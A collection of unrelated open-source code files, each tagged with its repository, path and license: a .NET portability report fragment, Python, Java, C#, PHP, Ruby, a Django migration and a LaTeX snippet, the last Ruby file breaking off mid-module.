class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td style="padding-left:2em">#ctor(System.Security.Permissions.SecurityAction)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove usage</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Security.Principal.WindowsIdentity</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetCurrent</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Impersonate</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Security.Principal.WindowsImpersonationContext</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.SerializableAttribute</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove this attribute</td> </tr> <tr> <td style="padding-left:2em">#ctor</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Remove this attribute</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.StackOverflowException</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Do not use: Exception cannot be caught since HandleProcessCorruptedStateExceptions is not supported, never throw this type.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Text.DecoderFallback</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_ExceptionFallback</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Text.EncoderFallback</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_ExceptionFallback</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Text.Encoding</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_UTF32</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetEncoding(System.Int32)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetEncoding(System.String,System.Text.EncoderFallback,System.Text.DecoderFallback)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">GetString(System.Byte[])</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Call Encoding.GetString(byte[], int, int)</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Threading.ExecutionContext</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">IsFlowSuppressed</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Threading.Thread</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor(System.Threading.ThreadStart)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_CurrentThread</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">get_ManagedThreadId</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">set_IsBackground(System.Boolean)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Sleep(System.Int32)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">Start</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Threading.ThreadAbortException</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Do not use: exception cannot be caught since it is not thrown by framework, never throw this type. Thread.Abort is only reliable in SQL Server. Elsewhere, don&#39;t use it.</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Threading.ThreadStart</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">#ctor(System.Object,System.IntPtr)</td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Threading.WaitHandle</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">WaitAny(System.Threading.WaitHandle[],System.Int32,System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">WaitOne(System.Int32,System.Boolean)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Type</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>.GetTypeInfo().Assembly</td> </tr> <tr> <td style="padding-left:2em">get_Assembly</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>.GetTypeInfo().Assembly</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.UnhandledExceptionEventArgs</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Avoid usage of the UnhandledException Event, handle exceptions directly at scope of method being called</td> </tr> <tr> <td style="padding-left:2em">get_ExceptionObject</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Avoid usage of the UnhandledException Event, handle exceptions directly at scope of method being called</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.UnhandledExceptionEventHandler</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Avoid usage of the UnhandledException Event, handle exceptions directly at scope of method being called</td> </tr> <tr> <td style="padding-left:2em">#ctor(System.Object,System.IntPtr)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td>Avoid usage of the UnhandledException Event, handle exceptions directly at scope of method being called</td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> <tr> <td>System.Uri</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">HexEscape(System.Char)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">HexUnescape(System.String,System.Int32@)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td style="padding-left:2em">IsHexEncoding(System.String,System.Int32)</td> <td class="IconErrorEncoded"></td> <td class="IconErrorEncoded"></td> <td class="IconSuccessEncoded"></td> <td class="IconErrorEncoded"></td> <td></td> </tr> <tr> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> <td>&nbsp;</td> </tr> </tbody> </table> <p> <a href="#Portability Summary">Back to Summary</a> </p> </div> </div> </body> </html>
kuhlenh/port-to-core
Reports/mi/microsoft.net.http.2.2.29/System.Net.Http-net40.html
HTML
mit
91,378
import codecs unicode_string = "Hello Python 3 String" bytes_object = b"Hello Python 3 Bytes" print(unicode_string, type(unicode_string)) print(bytes_object, type(bytes_object)) #decode to unicode_string ux = str(object=bytes_object, encoding="utf-8", errors="strict") print(ux, type(ux)) ux = bytes_object.decode(encoding="utf-8", errors="strict") print(ux, type(ux)) hex_bytes = codecs.encode(b"Binary Object", "hex_codec") def string_to_bytes( text ): return bin(int.from_bytes(text.encode(), 'big')) def bytes_to_string( btext ): #btext = int('0b110100001100101011011000110110001101111', 2) return btext.to_bytes((btext.bit_length() + 7) // 8, 'big').decode() def char_to_bytes(char): return bin(ord(char)) def encodes(text): bext = text.encode(encoding="utf-8") enc_bext = codecs.encode(bext, "hex_codec") return enc_bext.decode("utf-8") def decodes(): pass if __name__ == "__main__": print( encodes("walla") )
thedemz/python-gems
bitten.py
Python
mit
978
package simple.practice; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import simple.practice.service.GreetingService; @Component public class Greeting { @Autowired private GreetingService greetingService; public String printGreeting(String name){ String msg = greetingService.greetingMessage() + " User: " + name; System.out.println(msg); return msg; } }
blackphenol/SimpleSpring
src/main/java/simple/practice/Greeting.java
Java
mit
438
"""Class to perform random over-sampling.""" # Authors: Guillaume Lemaitre <[email protected]> # Christos Aridas # License: MIT from collections.abc import Mapping from numbers import Real import numpy as np from scipy import sparse from sklearn.utils import check_array, check_random_state from sklearn.utils import _safe_indexing from sklearn.utils.sparsefuncs import mean_variance_axis from .base import BaseOverSampler from ..utils import check_target_type from ..utils import Substitution from ..utils._docstring import _random_state_docstring from ..utils._validation import _deprecate_positional_args @Substitution( sampling_strategy=BaseOverSampler._sampling_strategy_docstring, random_state=_random_state_docstring, ) class RandomOverSampler(BaseOverSampler): """Class to perform random over-sampling. Object to over-sample the minority class(es) by picking samples at random with replacement. The bootstrap can be generated in a smoothed manner. Read more in the :ref:`User Guide <random_over_sampler>`. Parameters ---------- {sampling_strategy} {random_state} shrinkage : float or dict, default=None Parameter controlling the shrinkage applied to the covariance matrix. when a smoothed bootstrap is generated. The options are: - if `None`, a normal bootstrap will be generated without perturbation. It is equivalent to `shrinkage=0` as well; - if a `float` is given, the shrinkage factor will be used for all classes to generate the smoothed bootstrap; - if a `dict` is given, the shrinkage factor will specific for each class. The key correspond to the targeted class and the value is the shrinkage factor. The value needs of the shrinkage parameter needs to be higher or equal to 0. .. versionadded:: 0.8 Attributes ---------- sampling_strategy_ : dict Dictionary containing the information to sample the dataset. The keys corresponds to the class labels from which to sample and the values are the number of samples to sample. sample_indices_ : ndarray of shape (n_new_samples,) Indices of the samples selected. .. versionadded:: 0.4 shrinkage_ : dict or None The per-class shrinkage factor used to generate the smoothed bootstrap sample. When `shrinkage=None` a normal bootstrap will be generated. .. versionadded:: 0.8 n_features_in_ : int Number of features in the input dataset. .. versionadded:: 0.9 See Also -------- BorderlineSMOTE : Over-sample using the borderline-SMOTE variant. SMOTE : Over-sample using SMOTE. SMOTENC : Over-sample using SMOTE for continuous and categorical features. SMOTEN : Over-sample using the SMOTE variant specifically for categorical features only. SVMSMOTE : Over-sample using SVM-SMOTE variant. ADASYN : Over-sample using ADASYN. KMeansSMOTE : Over-sample applying a clustering before to oversample using SMOTE. Notes ----- Supports multi-class resampling by sampling each class independently. Supports heterogeneous data as object array containing string and numeric data. When generating a smoothed bootstrap, this method is also known as Random Over-Sampling Examples (ROSE) [1]_. .. warning:: Since smoothed bootstrap are generated by adding a small perturbation to the drawn samples, this method is not adequate when working with sparse matrices. References ---------- .. [1] G Menardi, N. Torelli, "Training and assessing classification rules with imbalanced data," Data Mining and Knowledge Discovery, 28(1), pp.92-122, 2014. Examples -------- >>> from collections import Counter >>> from sklearn.datasets import make_classification >>> from imblearn.over_sampling import \ RandomOverSampler # doctest: +NORMALIZE_WHITESPACE >>> X, y = make_classification(n_classes=2, class_sep=2, ... weights=[0.1, 0.9], n_informative=3, n_redundant=1, flip_y=0, ... n_features=20, n_clusters_per_class=1, n_samples=1000, random_state=10) >>> print('Original dataset shape %s' % Counter(y)) Original dataset shape Counter({{1: 900, 0: 100}}) >>> ros = RandomOverSampler(random_state=42) >>> X_res, y_res = ros.fit_resample(X, y) >>> print('Resampled dataset shape %s' % Counter(y_res)) Resampled dataset shape Counter({{0: 900, 1: 900}}) """ @_deprecate_positional_args def __init__( self, *, sampling_strategy="auto", random_state=None, shrinkage=None, ): super().__init__(sampling_strategy=sampling_strategy) self.random_state = random_state self.shrinkage = shrinkage def _check_X_y(self, X, y): y, binarize_y = check_target_type(y, indicate_one_vs_all=True) X, y = self._validate_data( X, y, reset=True, accept_sparse=["csr", "csc"], dtype=None, force_all_finite=False, ) return X, y, binarize_y def _fit_resample(self, X, y): random_state = check_random_state(self.random_state) if isinstance(self.shrinkage, Real): self.shrinkage_ = { klass: self.shrinkage for klass in self.sampling_strategy_ } elif self.shrinkage is None or isinstance(self.shrinkage, Mapping): self.shrinkage_ = self.shrinkage else: raise ValueError( f"`shrinkage` should either be a positive floating number or " f"a dictionary mapping a class to a positive floating number. " f"Got {repr(self.shrinkage)} instead." ) if self.shrinkage_ is not None: missing_shrinkage_keys = ( self.sampling_strategy_.keys() - self.shrinkage_.keys() ) if missing_shrinkage_keys: raise ValueError( f"`shrinkage` should contain a shrinkage factor for " f"each class that will be resampled. The missing " f"classes are: {repr(missing_shrinkage_keys)}" ) for klass, shrink_factor in self.shrinkage_.items(): if shrink_factor < 0: raise ValueError( f"The shrinkage factor needs to be >= 0. " f"Got {shrink_factor} for class {klass}." ) # smoothed bootstrap imposes to make numerical operation; we need # to be sure to have only numerical data in X try: X = check_array(X, accept_sparse=["csr", "csc"], dtype="numeric") except ValueError as exc: raise ValueError( "When shrinkage is not None, X needs to contain only " "numerical data to later generate a smoothed bootstrap " "sample." ) from exc X_resampled = [X.copy()] y_resampled = [y.copy()] sample_indices = range(X.shape[0]) for class_sample, num_samples in self.sampling_strategy_.items(): target_class_indices = np.flatnonzero(y == class_sample) bootstrap_indices = random_state.choice( target_class_indices, size=num_samples, replace=True, ) sample_indices = np.append(sample_indices, bootstrap_indices) if self.shrinkage_ is not None: # generate a smoothed bootstrap with a perturbation n_samples, n_features = X.shape smoothing_constant = (4 / ((n_features + 2) * n_samples)) ** ( 1 / (n_features + 4) ) if sparse.issparse(X): _, X_class_variance = mean_variance_axis( X[target_class_indices, :], axis=0, ) X_class_scale = np.sqrt(X_class_variance, out=X_class_variance) else: X_class_scale = np.std(X[target_class_indices, :], axis=0) smoothing_matrix = np.diagflat( self.shrinkage_[class_sample] * smoothing_constant * X_class_scale ) X_new = random_state.randn(num_samples, n_features) X_new = X_new.dot(smoothing_matrix) + X[bootstrap_indices, :] if sparse.issparse(X): X_new = sparse.csr_matrix(X_new, dtype=X.dtype) X_resampled.append(X_new) else: # generate a bootstrap X_resampled.append(_safe_indexing(X, bootstrap_indices)) y_resampled.append(_safe_indexing(y, bootstrap_indices)) self.sample_indices_ = np.array(sample_indices) if sparse.issparse(X): X_resampled = sparse.vstack(X_resampled, format=X.format) else: X_resampled = np.vstack(X_resampled) y_resampled = np.hstack(y_resampled) return X_resampled, y_resampled def _more_tags(self): return { "X_types": ["2darray", "string", "sparse", "dataframe"], "sample_indices": True, "allow_nan": True, }
scikit-learn-contrib/imbalanced-learn
imblearn/over_sampling/_random_over_sampler.py
Python
mit
9,497
StockPredict ============ Predict stock market prices based on discovered patterns
ozzioma/StockPredict
README.md
Markdown
mit
84
# Source Generated with Decompyle++ # File: session_recording.pyc (Python 2.5) from __future__ import absolute_import from pushbase.session_recording_component import FixedLengthSessionRecordingComponent class SessionRecordingComponent(FixedLengthSessionRecordingComponent): def __init__(self, *a, **k): super(SessionRecordingComponent, self).__init__(*a, **a) self.set_trigger_recording_on_release(not (self._record_button.is_pressed)) def set_trigger_recording_on_release(self, trigger_recording): self._should_trigger_recording = trigger_recording def _on_record_button_pressed(self): pass def _on_record_button_released(self): if self._should_trigger_recording: self._trigger_recording() self._should_trigger_recording = True
phatblat/AbletonLiveMIDIRemoteScripts
Push2/session_recording.py
Python
mit
842
# Generated by Django 2.1 on 2018-08-26 00:54 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('model_filefields_example', '0001_initial'), ] operations = [ migrations.AlterField( model_name='book', name='cover', field=models.ImageField(blank=True, null=True, upload_to='model_filefields_example.BookCover/bytes/filename/mimetype'), ), migrations.AlterField( model_name='book', name='index', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.BookIndex/bytes/filename/mimetype'), ), migrations.AlterField( model_name='book', name='pages', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.BookPages/bytes/filename/mimetype'), ), migrations.AlterField( model_name='sounddevice', name='instruction_manual', field=models.FileField(blank=True, null=True, upload_to='model_filefields_example.SoundDeviceInstructionManual/bytes/filename/mimetype'), ), ]
victor-o-silva/db_file_storage
demo_and_tests/model_filefields_example/migrations/0002_auto_20180826_0054.py
Python
mit
1,197
\begin{figure}[H] \centering \includegraphics[width=6in]{figs/run_29/run_29_ctke_vs_r_mesh_scatter} \caption{Scatter plot of turbulent kinetic energy vs radius at $z/c$=7.75, $V_{free}$=31.26, station3} \label{fig:run_29_ctke_vs_r_mesh_scatter} \end{figure}
Jwely/pivpr
texdocs/figs/run_29/run_29_ctke_vs_r_mesh_scatter.tex
TeX
mit
260
using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; using Microsoft.AspNetCore.Builder; using Microsoft.AspNetCore.Hosting; using Microsoft.AspNetCore.Http; using Microsoft.Extensions.DependencyInjection; using Microsoft.Extensions.Logging; using Microsoft.Extensions.FileProviders; using System.IO; namespace SpaClient { public class Startup { // This method gets called by the runtime. Use this method to add services to the container. // For more information on how to configure your application, visit https://go.microsoft.com/fwlink/?LinkID=398940 public void ConfigureServices(IServiceCollection services) { } // This method gets called by the runtime. Use this method to configure the HTTP request pipeline. public void Configure(IApplicationBuilder app, IHostingEnvironment env, ILoggerFactory loggerFactory) { loggerFactory.AddConsole(); if (env.IsDevelopment()) { app.UseDeveloperExceptionPage(); } app.UseDefaultFiles(); app.UseStaticFiles(); //Copy appsettings.env to the wwwroot directory var settingsPath = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot"); string sourceFile = Path.Combine(Directory.GetCurrentDirectory(), $"appsettings.{env.EnvironmentName}.json"); string destFile = Path.Combine(settingsPath, "appsettings.json"); File.Copy(sourceFile, destFile, true); app.Run(async (context) => { await context.Response.WriteAsync("Hello World!"); }); } } }
JohanPeeters/REST-IAM-demo
SpaClient/Startup.cs
C#
mit
1,770
<?php /* *--------------------------------------------------------------- * APPLICATION ENVIRONMENT *--------------------------------------------------------------- * * You can load different configurations depending on your * current environment. Setting the environment also influences * things like logging and error reporting. * * This can be set to anything, but default usage is: * * development * testing * production * * NOTE: If you change these, also change the error_reporting() code below * */ define('ENVIRONMENT', 'development'); /* *--------------------------------------------------------------- * ERROR REPORTING *--------------------------------------------------------------- * * Different environments will require different levels of error reporting. * By default development will show errors but testing and live will hide them. */ if (defined('ENVIRONMENT')) { switch (ENVIRONMENT) { case 'development': error_reporting(E_ALL); break; case 'testing': case 'production': error_reporting(0); break; default: exit('The application environment is not set correctly.'); } } /* *--------------------------------------------------------------- * SYSTEM FOLDER NAME *--------------------------------------------------------------- * * This variable must contain the name of your "system" folder. * Include the path if the folder is not in the same directory * as this file. * */ $system_path = 'system'; /* *--------------------------------------------------------------- * APPLICATION FOLDER NAME *--------------------------------------------------------------- * * If you want this front controller to use a different "application" * folder then the default one you can set its name here. The folder * can also be renamed or relocated anywhere on your server. If * you do, use a full server path. For more info please see the user guide: * http://codeigniter.com/user_guide/general/managing_apps.html * * NO TRAILING SLASH! * */ $application_folder = 'application'; /* * -------------------------------------------------------------------- * DEFAULT CONTROLLER * -------------------------------------------------------------------- * * Normally you will set your default controller in the routes.php file. * You can, however, force a custom routing by hard-coding a * specific controller class/function here. For most applications, you * WILL NOT set your routing here, but it's an option for those * special instances where you might want to override the standard * routing in a specific front controller that shares a common CI installation. * * IMPORTANT: If you set the routing here, NO OTHER controller will be * callable. In essence, this preference limits your application to ONE * specific controller. Leave the function name blank if you need * to call functions dynamically via the URI. * * Un-comment the $routing array below to use this feature * */ // The directory name, relative to the "controllers" folder. Leave blank // if your controller is not in a sub-folder within the "controllers" folder // $routing['directory'] = ''; // The controller class file name. Example: Mycontroller // $routing['controller'] = ''; // The controller function you wish to be called. // $routing['function'] = ''; /* * ------------------------------------------------------------------- * CUSTOM CONFIG VALUES * ------------------------------------------------------------------- * * The $assign_to_config array below will be passed dynamically to the * config class when initialized. This allows you to set custom config * items or override any default config values found in the config.php file. * This can be handy as it permits you to share one application between * multiple front controller files, with each file containing different * config values. * * Un-comment the $assign_to_config array below to use this feature * */ // $assign_to_config['name_of_config_item'] = 'value of config item'; // -------------------------------------------------------------------- // END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE // -------------------------------------------------------------------- /* * --------------------------------------------------------------- * Resolve the system path for increased reliability * --------------------------------------------------------------- */ // Set the current directory correctly for CLI requests if (defined('STDIN')) { chdir(dirname(__FILE__)); } if (realpath($system_path) !== FALSE) { $system_path = realpath($system_path).'/'; } // ensure there's a trailing slash $system_path = rtrim($system_path, '/').'/'; // Is the system path correct? if ( ! is_dir($system_path)) { exit("Your system folder path does not appear to be set correctly. Please open the following file and correct this: ".pathinfo(__FILE__, PATHINFO_BASENAME)); } /* * ------------------------------------------------------------------- * Now that we know the path, set the main path constants * ------------------------------------------------------------------- */ // The name of THIS file define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // The PHP file extension // this global constant is deprecated. define('EXT', '.php'); // Path to the system folder define('BASEPATH', str_replace("\\", "/", $system_path)); // Path to the front controller (this file) define('FCPATH', str_replace(SELF, '', __FILE__)); // Name of the "system folder" define('SYSDIR', trim(strrchr(trim(BASEPATH, '/'), '/'), '/')); // The path to the "application" folder if (is_dir($application_folder)) { define('APPPATH', $application_folder.'/'); } else { if ( ! is_dir(BASEPATH.$application_folder.'/')) { exit("Your application folder path does not appear to be set correctly. Please open the following file and correct this: ".SELF); } define('APPPATH', BASEPATH.$application_folder.'/'); } /* -------------------------------------------------------------------- * LOAD THE DATAMAPPER BOOTSTRAP FILE * Author: Mohab Usama * -------------------------------------------------------------------- */ require_once APPPATH.'third_party/datamapper/bootstrap.php'; /* * -------------------------------------------------------------------- * LOAD THE BOOTSTRAP FILE * -------------------------------------------------------------------- * * And away we go... * */ require_once BASEPATH.'core/CodeIgniter.php'; /* End of file index.php */ /* Location: ./index.php */
mohabusama/ci-rest-api
index.php
PHP
mit
6,890
require 'active_service/model/attributes/nested_attributes' require 'active_service/model/attributes/attribute_map' require 'active_service/model/attributes/serializer' module ActiveService module Model # This module handles attribute methods not provided by ActiveAttr module Attributes extend ActiveSupport::Concern include ActiveService::Model::Attributes::NestedAttributes # Initialize a new object with data # # @param [Hash] attributes The attributes to initialize the object with # @option attributes [Boolean] :_destroyed # # @example # class User < ActiveService::Base # attribute :name # end # # User.new(name: "Tobias") # # => #<User name="Tobias"> # # User.new do |u| # u.name = "Tobias" # end # # => #<User name="Tobias"> def initialize(attributes={}) attributes ||= {} @destroyed = attributes.delete(:_destroyed) || false @owner_path = attributes.delete(:_owner_path) attributes = self.class.default_scope.apply_to(attributes) assign_attributes(attributes) && apply_defaults yield self if block_given? end # Handles missing methods # # @private def method_missing(method, *args, &blk) name = method.to_s.chop if method.to_s =~ /[?=]$/ && has_association?(name) (class << self; self; end).send(:define_method, method) do |value| @attributes[:"#{name}"] = value end send method, *args, &blk else super end end # @private def respond_to_missing?(method, include_private = false) method.to_s =~ /[?=]$/ && has_association?(method.to_s.chop) || super end # Assign new attributes to a resource # # @example # class User < ActiveService::Model # end # # user = User.find(1) # => #<User id=1 name="Tobias"> # user.assign_attributes(name: "Lindsay") # user.changes # => { :name => ["Tobias", "Lindsay"] } def assign_attributes(new_attributes) @attributes ||= attributes # Use setter methods first unset_attributes = self.class.use_setter_methods(self, new_attributes) # Then translate attributes of associations into association instances associations = self.class.parse_associations(unset_attributes) # Then merge the associations into @attributes @attributes.merge!(associations) end alias attributes= assign_attributes def attributes @attributes ||= HashWithIndifferentAccess.new end # Returns true if attribute is defined # # @private def has_attribute?(attribute_name) self.class.attribute_names.include?(attribute_name.to_s) end # @private def has_nested_attributes?(attributes_name) return false unless attributes_name.to_s.match(/_attributes/) associations = self.class.associations.values.flatten.map { |a| a[:name] } associations.include?(attributes_name.to_s.gsub("_attributes", "").to_sym) end # Handles returning data for a specific attribute # # @private def get_attribute(attribute_name) @attributes[attribute_name] end # Returns complete list of attributes and included associations # # @private def serialized_attributes Serializer.new(self).serialize end # Return the value of the model `primary_key` attribute # def id # @attributes[self.class.primary_key] # end # Return `true` if other object is an ActiveService::Base and has matching data # # @private def ==(other) other.is_a?(ActiveService::Base) && @attributes == other.attributes end # Delegate to the == method # # @private def eql?(other) self == other end # Delegate to @attributes, allowing models to act correctly in code like: # [ Model.find(1), Model.find(1) ].uniq # => [ Model.find(1) ] # @private def hash @attributes.hash end module 